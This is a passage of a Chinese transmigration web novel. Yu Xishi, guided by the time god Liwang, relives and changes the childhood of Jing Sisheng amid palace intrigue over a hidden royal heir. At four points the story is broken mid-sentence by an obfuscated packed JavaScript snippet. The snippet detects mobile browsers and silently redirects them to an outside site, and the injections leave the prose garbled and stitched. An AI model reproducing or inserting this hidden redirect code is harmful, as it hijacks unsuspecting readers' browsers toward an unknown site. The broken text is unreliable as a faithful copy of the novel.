仿佛想到了什么可怖的答案一般,他让身边的官兵们先去干活,留下了一个心腹。 方存对心腹低声道:“王都大狱由既命司掌管,能随意进出并且传唤俘虏的只有三个人。既命司司主年事已高,走动都已是难事,很快就要致仕;而另一位,是众人都道将要接管既命司的年轻主事,听闻的确好色,只是不知敢不敢在天子眼皮子底下干这种荒唐事;还有一位……” 他没有再说下去,抱着婴孩的手更紧了些,另一只手替孩子擦去脸上的雨水。 “算了,我们不要管这么多,阿戎,传令下去,今日发现婴孩之事,切不可透露一点风声,否则后果自负。” 唤作阿戎的心腹担忧道:“大人,您莫非要救这个孩子?不管这个孩子的父亲是谁,总归不是我们能攀上关系的贵人。这般的贵人想要留下这个孩子岂会没有办法?说明孩子的父亲根本没想要他活下去!若是我们自作主张救下了,恐怕是灭顶之灾……” 方存低声,“我心中岂会没有这些计较?!可既已看见,我不能不救。” “大人!”阿戎又劝,“且莫说这孩子的父亲是谁,他的母亲可是伏国战俘!伏熙二国血海深仇,代代铭记。倘若他来日长成,知道自己的身世……” “……他不会知道。”方存显然也有了些犹豫,只是很快又坚定下来,“我没有孩子,以后,他就是我的孩子。只是,他父亲恐怕身世显贵,我不可以父亲自居。对外便称,这是我故友的孩子吧。” 说着,方存挺直了脊背,也没再躲伞,用披风包裹着孩子,快速走入雨幕之中,带着婴孩驱马离去。 虞戏时看着他的背影,听得身旁阿戎下令: “今日之事,不可透露一字,如若有违,死!” “是!” - 可是当晚在场的所有人,除去方存以外,没有一个人活了下来。 方存再来到这尸横遍野之地时,看见的便是所有人的尸体。 虞戏时感到一阵眩晕。在方存离开与返回的间隙里,时间仿佛被某种力量粗暴地折叠——她只看见方存抱着襁褓离去的背影,转眼便是他跪在血泊中的身影。这中间的杀戮,像被撕去的书页,只留下血腥的空白。 “是我害了你们啊——” 方存跪倒在地,额头抵着冰冷的泥土,脊背剧烈颤抖。怀中的婴儿被惊醒,发出啼哭。这哭声让他浑身一震,下意识将襁褓搂得更紧。 虞戏时看见他的指甲深深陷入掌心,脸上泪痕交错,懊悔却又慢慢坚定。 “以饲而生。”他嘶哑着嗓子,手指轻抚婴儿的脸颊,“景饲生。你要对得起这些用命换你的叔叔。” 婴儿懵懂地抓住他的手指,小小的掌心温暖湿润。方存突然将脸埋进襁褓,肩膀无声地耸动。 她凝视着这个孩子。 景饲生。 这是景饲生的幼年! 她心中翻涌着无数疑问。这是时光回溯?还是幻境?亦或是…… 比起这些,却更像回忆,因为她竟也无法窥知到那些秘密,譬如孩子的父亲是谁,杀了这所有人的又是谁。 - 时光快速推进,虞戏时周遭的场景旋转变换,来到方存的府邸之中。 景饲生已然长大了许多。 晨光斜照入窗,景饲生跪坐在案前临帖,手腕悬得极稳,笔锋转折间已见风骨。只是那支对他来说仍显沉重的狼毫,偶尔会在纸上留下几处力透纸背的墨点。 方存端着漆盘进来,看见孩子正对着写坏的字皱眉。 “我不是说过,不需要你用功吗?” 方存的声音从身后传来,景饲生吓了一跳,下意识想用袖子遮住字帖,又立即意识到徒劳。他慢慢转过头,露出一截后颈——那里有一道尚未痊愈的擦伤,是前日偷偷翻墙去私塾时,从墙头摔下来刮伤的。 方存端着黑漆食案走近,案上一碗长寿面正蒸腾着热气。他将食案放在案几上,手指轻轻扶正歪斜的砚台。虞戏时注意到,他的目光在那道伤痕上停留了一瞬,眉头几不可察地皱了一下,却最终什么也没说。 “今日是你的生辰。”方存的声音柔和了几分,“想要怎么过?” 景饲生抬起头,眼睛里闪着细碎的光亮,嘴唇微微张开似乎想说什么,却又突然抿住。他垂下眼睫,轻声道:“方叔能教我...”话到一半突然停住,改口道:“能陪我去市集看看吗?” 这个小小的转折让虞戏时心头一紧。她突然明白,这孩子自知寄人篱下,要小心翼翼才能获得关爱,请求亦要先自我修正,生怕给方存添麻烦。 方存取出一方素白手帕,慢慢擦拭孩子沾了墨渍的指尖。景饲生的手很小,掌心却有薄薄的茧子——是这些日子偷偷练字磨出来的。 其实方存对景饲生不算差,只是从来不会教他读书习武。尽管曾有武先生说他有超绝的天赋,勤加练习,来日若能从军,定能官拜大将军,得到王上赏识也说不定。 但方存听过,更加不允许他起练武的心思。 “先吃些东西。”方存道。 景饲生点点头。 “方叔,”他声音还带着孩童的清脆,眼中明亮也天真,“我突然好奇,我父母是怎样的人?” 方存早知道景饲生终会有问这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虞戏时想起景饲生说的那一句——“一纸密令,你就能把我送去虎狼之地。好像养我的那五年,你从未付出过真心一般。” 莫非就是今夜? 方存呆站了很久,不知道在想些什么。直到估摸着时辰该到了,他才走出书房,来到院子里。 从屋檐上翻身下来几个黑衣人,朝他行了一礼。景饲生被两个下人从房里拖出来,小小的孩子尚不知发生了什么,看见方存,尚还有些睡眼惺忪:“怎么了,方叔?” “阿饲,过来。”方存朝他招招手。 景饲生走过去。 “阿饲…经此一别,不知何日再见,望你一定珍重。”方存抬手,替他理了理衣领,却没有看他的眼睛。 “什么意思?方叔,你要把我送到哪里去?”景饲生慌乱地抓住方存的手肘。 “阿饲,你信我吗?”方存缓缓站直身,景饲生手抓得紧,他也没挣脱,身子微微倾斜。 “……我信。” “那就跟他们走,去你该去的地方。”方存转过身去,衣袖终于从景饲生手中挣脱,看着高大的树,“好好活下去,也许下次见面,是不一样的光景。” 景饲生默然站在原地,看着方存的背影。悬在半空的手慢慢放下,攥紧成拳又松开,片刻,说:“好。” 黑衣人的手搭上他的肩膀,他似没有做好准备般微微一颤。带走他不需要费什么功夫,景饲生始终没有回头看一眼,方存亦然。只是虞戏时敏锐地察觉到一道微弱的灵光在二人之间流转——竟是景饲生在暗中施展某种术法,想要感知方存是否会回头看他。 虞戏时并不通灵力,许是旁观者的缘故,某些微弱的细节竟像受人点拨般明了。可涉及诡秘的大事,她却一头雾水,并不比景饲生知道得多。 某种意义上来说,她应该是在共享景饲生的视角,只是这个视角,也并不完全。 这小孩… 虞戏时看着景饲生,看他默然走到院门处,忽然喊了一声,“方叔。” “嗯?” 两个人背影相对,却隔了一段距离,泾渭分明。景饲生微微抬起下颌,最终什么也没说,慢慢走远。 8. 幼(2) 他杀了许多人。 不,应该说,她杀了许多人。 这群黑衣人白日里会换上百姓正常的装束,黑夜里则换上夜行服走更快速却也更凶险的小道,尽管如此,护送景饲生到王都,也花了一年的时间。 可是就在要进入王都时,这群人却在郊外逗留了三日。 虞戏时便是跟随着记忆跳到了这个时间点——恰在景饲生偷听到他们的对话,谈论“到底要不要杀了这小孩”时。 好像这群护卫听命于两个主人,而这两个主人的意见出现了分歧。 无论如何,景饲生随时都有丧命的危险。 “如果他死在这里,那么你后续的任务就不可能完成了。” 透明的虞戏时身旁,出现了一个同样透明的身影——离惘。 虞戏时惊疑:“怎么会?这如果是景饲生的记忆,他没有活过这一次劫难,又怎会有日后发生的这一切?” “这是记忆,却也不是。”离惘看着瑟缩在帐篷角落的景饲生,“主神告诉过你了,这是一本话本子。用你们那儿的话解释,便是在这个部分,作者用了插叙的手法,写了景饲生的过去。这不存在于任何一个角色的对话或回忆里,这是给读者看的部分,怎么不算‘现在进行时’呢?” “你本就是来修复剧情的,如果插叙的这一部分没有修复好,也就没有后续了。” 虞戏时觉得离谱:“那怎么办?” “你得救他。”离惘说。 这不是主脑发布的命令,而是来自于离惘“善意”的提醒。 “我怎么救?”虞戏时不明所以。 却好像突然想到了什么——在进入这“插叙”部分时,在那个尸横遍野的荒原上,她明明可以触碰到那些尸体,也差点救出当时尚是婴孩的景饲生! “莫非,我可以触碰这里的一切,只是他们看不见我?” 离惘思索了一会儿,“大概是这样。但是我劝你不要为所欲为,因为任何一个小动作,都可能触发连锁反应,改变事情未来的走向。” 虞戏时忽然体会到,为何有些小说里会说,纵有神明,也不可随意解救世人。昨日因,今日果,业力重重。 “要救,就得杀了他们所有人。杀人…怎么可能。”虞戏时喃喃道。 离惘没有说话,他本就不是好为人师的人。 虞戏时却道:“杀人太可怕了。但更可怕的是,杀人太容易了。” 离惘一怔。 他慢慢偏过头来,看着虞戏时。 看着她似乎在打定某种决心,离惘忽然道:“可是你要救下的这个人,日后会救很多人。他会改变秩序,改变规则,改变世人眼中的天道。” 虞戏时笑了:“我倒觉得,他没这样的能力。他不过也是一个...想要活下去的普通人罢了。” 和我一样。 离惘罕见地有了点笑意,“我来做吧。” 虞戏时疑惑地看他,突然感受了一股推力,她不受控制地往景饲生的方向扑去,那一刹那,神台激荡,魂灵冲撞,陌生又熟悉的感觉几乎让她觉得自己已经是另一个人。 紧张,恐慌,害怕,又有一分理智。 这不是她的情绪。 她张大了眼睛,发现自己正在用景饲生的眼睛看世界。 她看不见离惘了,却能听见离惘的声音。 “准备好了吗?”离惘站在她身侧,问。 “离惘……” 她没说不,也没说是,她在为这个选择犯难,而离惘在替她做决定。 她麻木地站起身来,这种被控制的感觉,与那一日她不由自主看向车驾上的男子时一模一样。 所以,那一日,离惘知道她认错了人,操纵她去攻击车驾旁真正的景饲生? 来不及细想,此刻她看着自己借着景饲生的身体慢慢走出帐篷。 密林中,已下定决心的护卫们按住剑柄,却见要杀的目标镇定自若地从帐篷里走了出来。 虞戏时转过身来,看着他们的方向。 “你来得正好。孩子,有什么话,黄泉路上跟阎王诉苦吧。”其中一名护卫——现在应该称之为杀手,讥嘲道。 一群人并不把这个手无缚鸡之力的孩子放在眼中,只有两人上前来,举剑就要刺下。 她身后,离惘与她动作同步。 就像在操控傀儡,而这个傀儡完美复刻着他的每个动作。 杀手劈刀砍来,离惘操纵虞戏时旋身避开,掉以轻心的两名杀手很快便被干掉,四溅的血洒在小小的景饲生身上,温热、腥咸,顺着他的睫毛往下滴。虞戏时与他同感,一种难以名状但绝不算好的情绪几乎要剥夺她的神智。 这就好像她是外来者,而景饲生的神智在剥夺控制这个身体的权利。 “我……我杀了他。”他声音发颤,手指僵硬地松开刀柄,刀“当啷”一声掉在地上。 “我不想死……”他脑子里只剩这句话在疯狂重复,可另一个声音却在尖叫:“但你杀了他!你杀了他!” 在景饲生身体里的虞戏时甚至分不清这是谁在说话。 说不想死的是景饲生,也是虞戏时,说“但你杀了他”的,又是谁? 仿佛是同时崩溃的两个人,在一个身体里与自己分裂的人格作斗争。 她的膝盖发软,差点跪下去,可离惘的声音冷冷传来:“站着,别动。还有敌人。” 景饲生——或者说虞戏时,机械地弯腰,捡起刀。她的手在抖,可握得很紧。 ——原来杀人这么简单。活下来,却比杀人难多了。 两个人一具身体,还有身后隐匿身形的时间之神,做着同样的动作,不过半炷香的时间,就要了所有杀手的命。 虞戏时从景饲生的身体里剥离出来时,却看见了不同的场景。 好像刚刚的一切从未发生,她还是那个透明人,景饲生仍无助地缩在帐篷的小角落里。 他知道自己可能会死。 然而不远处,一个小女孩蒙着面纱走近,她和如今的景饲生差不多大的年纪——6岁左右。 瞧起来却冷血无情,手上紧握着一把与她不符的长剑。 景饲生从帐篷里走出来时,就看见这小女孩正面无表情地夺走最后一个杀手的性命。 “我救了你,不用谢。”小女孩说着,拿出手帕,擦去剑上的血迹,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694627|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后冷漠地收剑入鞘。 只不过这个小女孩消失得很快,虞戏时马上又回到了刚从景饲生身体里剥离的那一刹那。 “刚刚是怎么回事?那个小女孩是谁?到底什么是真的,什么是假的?”虞戏时惊疑地问身边的离惘。 离惘理了理有些乱的衣袍,“你看见的小女孩,是原本原著里的内容。而刚刚,你已经改变了这一部分。这一次,是你,来自未来的你,附在景饲生身上,由我操纵,杀了所有威胁景饲生性命的人。” “……” - 当年方存救下的,是两个小孩。一个哭声微弱,已然濒死;一个哭声嘹亮,是个男孩。 一个是景饲生,一个是虞戏时。 两个孩子被方存带走,所有知情者——包括阿戎,都被随后赶到的杀手灭口。 而虞戏时被方存送走,由一名奶娘带着,去到了王都,在神庙之中偷偷活着,那里有一个杀手组织,她自小经过严格的训练。 而景饲生被方存留下,跟在方存的身边,却从来不能够读书习武,在五岁那年,送往王都。临近王都,护卫却都变了脸,要置他于死地。 景饲生被恰巧路过的虞戏时救下。 - “这是原著?那么原著里和我同名的这个小女孩,她……和景饲生其实是兄妹?”虞戏时接受到脑中的信息,不可置信地问离惘。 “倒也没那么禁忌。”离惘似乎心情不错,还宽慰她两句,“总之现在一切都被改变了。人不是原著里的小女孩救的,也不是你,也不是我。景饲生会认为,是他自己杀的。” 虞戏时难以形容此刻心情,努力平复着呼吸:“到底还有多少秘密。这不是限制文吗?怎么像悬疑小说...” 离惘困惑地看着她:“我不明白你的意思。” 虞戏时抱着脑袋蹲了下去。 理解也好理解,接受却没那么容易接受。 就连知道这一切的她都感觉神经要炸开,那景饲生呢,会怎么样? 虞戏时抬眼,看向那个小小的身影。 他垂头站立了许久,虞戏时看不见他的表情。 只知道,很快,他就冷静地走过这一堆尸体,张望了一眼四周,似乎在找寻接下来的路。 而从他身上,掉下来一块木牌。 他似乎并没有发现,只迷茫地走着。 虞戏时起身,想要去捡起那块木牌。 离惘抬起一只手,拦住她的去路。 “我说过,不可转变太多因果。” “我讨厌这种感觉。”虞戏时盯着离惘,“我感觉我和景饲生好像任人操纵的木偶,任人推移的棋子,一无所知,麻木又没有灵魂的进或退。” “虞戏时,”离惘转身来,面向她,“我是时间之神,不是你的老师,更没有开导你的义务。如果你这么想,随时可以退出,去走你自己的路。景饲生也会在这里,继续他既定的命运。” 虞戏时眼中滴落一滴泪,离惘更近了一步,“我和主神是在帮你,刚才我甚至未经主神允许就插手了这件事。还是说,你觉得我必须温言软语,才配得上''好人''这个称呼,不该承受你的质问?” 9. 幼(3) 景饲生走后不久,那块木牌便被拾起,很快送往了熙王宫中。 熙王宫依山而建,层层殿宇沿着山势向上攀升。宫墙几乎都是用黑青色的砖瓦砌成,接缝严密得几乎看不出痕迹。黑色琉璃瓦铺满连绵的殿顶,在阳光下泛着漂亮的光泽。 而此刻,高塔之上,离惘正站在虞戏时身侧,眺望着这座宫殿的景致。 这座塔矗立在山顶,通体漆黑,笔直如剑,是王宫的最高处。站在这里,不仅能俯瞰整个王都的繁华街景,也能将宫中的一切动向尽收眼底。 “在这个世界,普通人比拥有灵力者更为珍贵。”离惘对身边的虞戏时道。 虞戏时自从上回的事情后,整个人都像被抽干了精气神,魂不守舍。她反应慢了半拍,才低声问:“……为何这么说?” 离惘似乎没注意到她的异样,只是望着远处,语气寻常:“你看看这一座座宫殿,漂亮吗?” 虞戏时顺着他的视线望去,点了点头:“漂亮。” “可宫殿之下,却是另一番景象。”离惘淡淡道。 “宫殿下?”虞戏时一怔,“你是说地底下?那是什么样?” “想知道?” “废话么……” “那你以后听话点。” 虞戏时有些语塞地看了离惘一眼,“我什么时候不听话?等等,你这是在调/教我么?” “……”离惘沉默了一瞬,“我没这兴趣,不过有人有。” 虞戏时正想追问他说的是谁,却见他忽然抬起手,修长的手指微屈,手腕轻轻一转—— 刹那间,整个世界在她眼前颠倒。 他们从地上,来到了地下。 这里没有阳光,只有幽暗的火光映照出无数人影。成千上万的普通人腰间绑着绳索,源源不断的“血液”从他们体内输送出去,不知流向何方。这些人不见天日,却也没有愁苦的表情,仿佛这座地底的城市,就是他们生活的全部世界。 “普通人的赤髓极其珍贵,能滋养灵力者的灵力。”离惘的声音在黑暗中显得格外清晰,“倘若没有这些普通人,灵力者便什么也不是。而这座永夜之城里的居民,都是为了钱财自愿在此‘劳作’,用自己的赤髓换取灵力者守护熙国。不仅熙国如此,伏国、聂国,皆是这般。” 虞戏时怔怔地看着眼前的一切,半晌才道:“为了钱财?可有了钱,却失去了外面世界的自由与美景……” “他们大多还有家人。”离惘解释道,“这些钱,最终会送到外面的亲人手中。毕竟在这里,他们自己用不到什么。” 虞戏时瞠目结舌:“这叫珍贵?吸底层人的血,靠他们过活。” “物以稀为贵。”离惘语气平静,“普通人少,自然珍贵。你要知道,许多灵力者尚且食不果腹,而永夜之城的人至少衣食无忧。”他顿了顿,又道,“只不过,在你们那儿,贞洁与清名于人而言极为重要,而在这里,朱砂痣也如出一辙。” “什么意思?” “普通人身上都会有一颗朱砂痣,证明赤髓的纯净。倘若你的赤髓滋养过灵力者,这颗朱砂痣就会消失。” 虞戏时在脑中消化着这些信息,扯了扯嘴角:“也就是说,这永夜之城里的人,和青楼里的也没什么两样?” “嗯……”离惘似乎不知该如何回应。 虞戏时耸了耸肩:“说到底,人活着就是在不断交换,没什么不同。用时间换温饱,用尊严换机会,用健康换钱财……” 离惘反问:“那你觉得,那些在战乱中保护古籍的学者,那些放弃高月钱回桑梓教书的先生,那些挡在百姓面前,用尽最后一点力气保卫国家的人,也是如此么?” “你在偷换概念。” 离惘正儿八经道:“你说青楼之人与其他人并无不同,可一个国家的厚度,民族的灵魂,几千年的沉淀,不仅是文化与礼教,还有太多东西。你觉得为什么青楼之人会被看不起?而勤劳耕作的农民却能获得更多敬重?” 虞戏时看着他,没有继续这个话题:“你好像很爱这个世界。” “还好。”离惘反问,“你呢?” “我现在都不知道自己到底属于哪里。”虞戏时摇摇头,“不过,我在这个世界,算是普通人吧?” “嗯。” “那我应该也有一颗朱砂痣?在哪里?” “通常在背上或腰间,每人位置略有不同。” “哦。”虞戏时若有所思,“那找个时间把它卖了……” “啊?”离惘有些错愕地看向她,“你好像没穷到这个地步吧?” “等从这个剧情段出去,我还替景饲生挡了一箭,治病钱、药钱、吃饭住宿……两个人花销可不少,总得提前打算。” “……你想得倒挺长远。”离惘无奈道,“有景饲生在,你其实不必担心这些。” “靠男人是靠不住的。”虞戏时一本正经,“这道理景饲生都懂,你怎么不懂?” “……我是神,我不用懂这些。”离惘似乎被她冒犯到了,脸上浮现一丝不悦。 虞戏时在心里翻了个白眼,转而问道:“不过,你说普通人的赤髓能滋养灵力者,可那些吃不上饭的灵力者,哪来的钱买赤髓?” “这便是永夜之城存在的意义。”离惘解释道,“它不仅保障熙王宫的需求,更多的赤髓会储存在国师手中,分配给贫困的灵力者。” “哦……”虞戏时低声道,“可能因为我是普通人,看到这场面,总觉得有些残忍。” 离惘没有接话,只是道:“在我来之前,你所见的都是景饲生眼中的世界。现在,我带你去看看别的。只是,我虽能窥探天机,却不可直接告诉你。” “就是跟着我不说话呗,带我去看一些我看不懂的东西,是吧?”虞戏时俏皮道。 只是,离惘没有带她去到现场。 世界在离惘手中翻转,他们再一次回到了高塔之上。 而王宫里两座宫殿的场景在虞戏时眼前浮现。 一座是熙王寝宫,一座则是王妃的明悦宫。两个画面如同分屏,各自占据一半,上头显现着震惊的两张脸。 左边显示的是熙王寝宫的景象—— “5岁的孩子…斩杀十二影卫?”鎏金兽炉吐出袅袅青烟,熙王枯瘦的手指死死扣住床沿,“到底是你疯了,还是你当孤疯了!找,给孤掘地三尺,定要把这野种找出来!!——” 伏在地上的暗卫心道:他是野种,那你是什么。只是面上自然不敢说出来,只敢称“是”。 而右边,熙王妃显然有同样的惊疑—— “你说什么?一个5、6岁的孩子,把一群高手全杀了?”染着蔻丹的手指摩挲过木牌,这唯一的物证竟在她手中,“这上头是伏国文,他的母亲是谁?难道竟同本宫一样,出自伏州?” 王妃的婢女战战兢兢,“属下不知。王妃,这一次实在是兵行险着,那十二影卫是我们埋伏多年的暗线,这次竟然动用了他们,杀掉这个孩子。可惜还是失败了。我们实在是损失惨重。” “本宫难道不知道损失惨重?!”王妃一拍桌案,“无论如何,一定不能让他回到王宫!” 婢女还试图再劝:“王妃,您到底出身伏州,就算是将所有王嗣除尽,王上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694628|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕也不会让您的孩子登基……” “闭嘴!那让谁?嗯?让他那个整日和他对着干的王弟?还是那个整日在庙里敲木鱼的王叔?”王妃看着紧闭的宫门漏下的一点日光,合上眼,“好啊,好啊。本宫倒要看看,这能杀尽一干高手的小怪物,能做到何种程度?” 比起王妃,熙王显得冷静得多。 “倘若不能找到这个野种,谁能去伏州为质?难道真要将孤唯一的王嗣送去伏州不成?” “王上,一定还有其他的办法……” “办法。孤那自小就爱和孤对着干的王弟,生的是个女儿;那整日神神叨叨念经的王叔,更是终生未娶。孤还能指望谁?” “可是王上,伏王明确说的是,要王上悉心栽培的这个王嗣……” “闭嘴!” 两边主子都被下人激怒,几乎同时厉喝道: “找!” “去找!” “三日之内——” “三日之内——” “活要见人!” “死要见尸!” 而两边下人也同时接令: “属下一定尽全力找到他——迎回新的王嗣!” “属下一定尽全力找到他——将他除之后快!” - 虞戏时看着两座宫殿里的景象,不禁为景饲生捏了把汗,“难怪我就说,那群护卫都已经将景饲生护送到王都之外,就快到达王都了,怎会突然变了脸,要将景饲生杀掉,原来是王妃从中作梗。” “你都看明白了?”离惘问。 “嗯。当初方存救下景饲生的时候,我也在好奇,景饲生的父亲是谁。现在看来,便是方存话里不敢提及的这个人物——熙王了。而熙王妃不知道从哪里得来的消息,知道了景饲生是熙王的私生子,却不知道景饲生的母亲来自于伏州。”虞戏时道,“现在熙王想将景饲生接回宫,让他代替王嗣去往伏国为质;而熙王妃把景饲生当作对手,想将他除掉,这样唯一的王嗣——也就是王后的孩子就必须去伏州为质,为以后她的孩子登基为帝做好准备。” 说着说着,虞戏时发现了不对劲,“唯一的王嗣……唯一的王嗣是王后的孩子,也就是说现在王妃都没有孩子,就已经在为日后做打算了?” “嗯。”离惘面向虞戏时,“这些不是你该操心的事,眼下有需要你去做的。” “需要我去做?” “将景饲生带回王宫。” “什么?!” “你有我助力,找到景饲生的位置不是难事。” “可是你不是说过,不要干涉他人的命运吗?” “这是我允许你干涉的。也是你必须要干涉的。”离惘严肃道,“如果不回到王宫,如今尚只有6岁的他,在外根本无法活下去。我可以告诉你,主脑派给你的任务——留在景饲生身边,你已经完成了。而你的下一个任务,就是获得景饲生的信任。这是一个提前获得他信任的绝好机会,虞戏时,他只有6岁,是一个孩子最天真最愚蠢的时候。” 虞戏时脑子里乱成了一锅粥,但几乎每根神经都在叫嚣着拒绝。她不知道为什么,她只是觉得,景饲生不想来到王宫,也不应该来到这个全是利用的地方。 “什么叫‘提前’?也就是说,我现在所做的一切,会成为景饲生幼年的记忆?” “对,这个过程很短暂。如你所知,我和主神的能力有限,不会让你一直停留在这个时期。所以,短暂的时间里,你尽量让信任值达到最大。” 虞戏时看着离惘,忽然想到了一句话—— 规则之下,都有漏洞。 10. 幼(4) 离惘说得没错,在外头流浪的景饲生根本活不下去。 为了一点吃食,被驱赶的农夫打断了一条腿,此刻正在空无一人的荒野间,用刚刚找来的一点草药给自己疗着伤。 而他的脑中,忽然想起了一道机械音: 【宿主您好,检测到您本人的意识正在逐渐恢复,此刻恢复值将近百分之三十。现在已经可以理解我说的内容,所以我将为您服务。】 景饲生手上动作一顿:“所以,我真的穿越了。” 【没错,宿主。您身上的这块玉佩,是你可以回到21世纪的钥匙,请您务必保管好,在完成这个世界的内容后,您便可以回到21世纪,继续您的生活。】 景饲生继续给自己疗着伤:“什么内容。” 【你所穿越的世界,是一篇大男主爽文,您将会从一个小人物,变成这个世界一人之下万人之上的权臣。目前的阶段,暂时没有什么需要您做的,您只需要躺平等虐便可。】 “……”景饲生手上动作一紧,“那你出现的意义是?” 【嘿嘿。】神之“嘿嘿”,系统似乎有些心虚地笑了一声,【我可以来为您解答一些困惑。您是身穿,并非胎穿。只不过您穿越而来的时候是一个婴孩的模样。所以,您的父母,就是21世纪的父母,不是这个世界的任何一个人。只不过,方存把你当成了某个人的孩子,其实那个真正的孩子,已经死了。并且,我不知道什么原因,那个孩子消失在了这个世界上。】 景饲生不同于普通的婴儿,对于三岁之前的记忆,他能记得的还有很多,自然也记得刚穿越而来时,他听见的一阵微弱的啼哭声。 所以,那才是真正的婴儿,只不过没有在恶劣的环境中存活下来,又不知道什么缘故连尸体都消失了。而他这个穿越者,被方存捡了回去。 “这重要吗?”景饲生问。 【重要,也不太重要。身份而已,你只要最后记得自己是谁,来自哪里,要做什么就好。等完成了任务,我会赐予你在21世纪重生的机会,你会从病床上醒来,在那个世界幸福地生活下去。】 尚未完全恢复成年人意识的景饲生此刻智商不高,难以理解这个系统通篇的话语,只是试着动了动腿,一阵钻心的疼使得他倒吸一口凉气,皱起了眉头。 【宿主,系统检测到你目前各项指标,显示是您又冷又饿又渴又疼,而且可能是不久前杀了人的缘故,精神面临崩溃。】 “谢谢。”景饲生说,“你好像那个儿童手表,显示小孩的心率以及健康体征。难道小孩晕过去了不知道自己晕过去了吗?还需要手表提示。” 【啊,是的。】系统毫不为此感到惭愧地说,【您的确快晕过去了,并且这次晕过去倘若没有人搭救恐怕很难再醒来。】 “………………”景饲生手握成拳,环视着周遭,试图找到这个系统的真身。 【但是您不用担心。】 景饲生眼睛亮了亮,有办法? 【您死后,我会换一个世界,换一个宿主,继续我系统的使命。】 “………………”景饲生闭上眼睛,倒了下去。 好冷,好饿,好渴,好疼。 如果这时还在父母身边,他们应该心疼得不像话。景饲生只记得穿越来之前心电监护仪的长鸣,所以现实世界的他,应该是已经死了。 爸妈会很伤心吧。视他如命的家人,会不会也失去活下去的信念? 他试图回想起父母的模样,却发现短短6年,他们的样子已经模糊。这样的模糊并非是随着时间流逝的褪色,而是好像有人刻意在淡化他与原本世界的羁绊。 景饲生摸向怀里的玉佩。 这个玉佩从记事起就一直跟随者他,尚在襁褓之中时,就被他紧紧攥在掌心。 原来这是回家的钥匙? 不过此刻他才发现,另有一物——一块木牌,也是从他记事起便拥有的,已然不见了。 不行,得活下去。 他正打算睁开眼找寻附近有没有吃的或者喝的,就感觉到一只冰凉的手碰了碰他的鼻子,似乎在探他的呼吸。 - 半刻钟前。 “那便是景饲生了。”离惘对虞戏时道。 “他怎么好像在自言自语?”虞戏时问。 “不知道。都是头一回杀人,难道你觉得疯了的只有你?”离惘也只是猜测。 “自言自语已经很不正常了吧?没想到对他造成了这么严重的后果。”虞戏时内疚道,“这样的道德谴责,会不会跟随他一辈子啊?” 离惘没说话。 他只是心道:也就你没看见他以后杀人如麻的变态样子。 “因为他现在还小,所以你也会变成小时候的样子。你可以为自己选一套装扮。”离惘说着,手上幻出术法。 虞戏时面前显示出一个面板,有发型、衣服的缩略图,以供虞戏时选择。 “‘奇迹暖暖’?”虞戏时惊叹道。 “什么?” “没什么。这个换装系统可以送给我吗?”虞戏时搓手手。 “不能。”离惘拒绝得很快。 虞戏时最终选了套渐变深蓝纱裙,罩着半透明月光纱,穿在身上时有星河流动之感,又选了个银色软底短靴搭配。发髻则偏成熟,将一半头发挽在脑后,下半部分则披散下来,倒也干净利落。 虽然发髻成熟,但瞧来也像个小仙女儿了。 靠近景饲生时,他恰巧晕了过去。 不知道是不是生无可恋的模样导致,虞戏时伸手探了探他的鼻息,看他死了没有。 没死。 不仅没死,还突然…… “?”景饲生睁开眼,与她视线相对。 虞戏时做贼心虚,手指一颤,笑了一下。 “你还好吗?” 景饲生手肘支在身后,算是半起了身。面对这个陌生人,他脸上倒是没有防备,反倒是一种恹恹的、厌世般的颓废。“你觉得呢。” 虞戏时的目光挪向他血淋淋的小腿。“你这是怎么了?” 对于虞戏时来说,他可不算是陌生人,所以虞戏时瞧来有些自来熟。景饲生尚还疏离,顺着她的目光扫了一眼自己的腿,似乎看见自己身上触目惊心的血实在有些冲击,他眼里光影颤了颤,挪开目光去。 虞戏时没打算等他回答,因为景饲生瞧起来实在虚弱,她既不是大夫,又没有百宝袋,救命要紧,“我带你去看大夫。” 听见这句话,景饲生低垂的眼眼睫颤了颤,看向虞戏时,“多谢。” 虞戏时一边将他扶起来,一边又想到这不像是景饲生多疑的特性,“你不问我为何?” “我一无所有,你能有什么所求?”景饲生借力,站了起来,嘴唇因为干裂渗出了些血丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694629|173393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 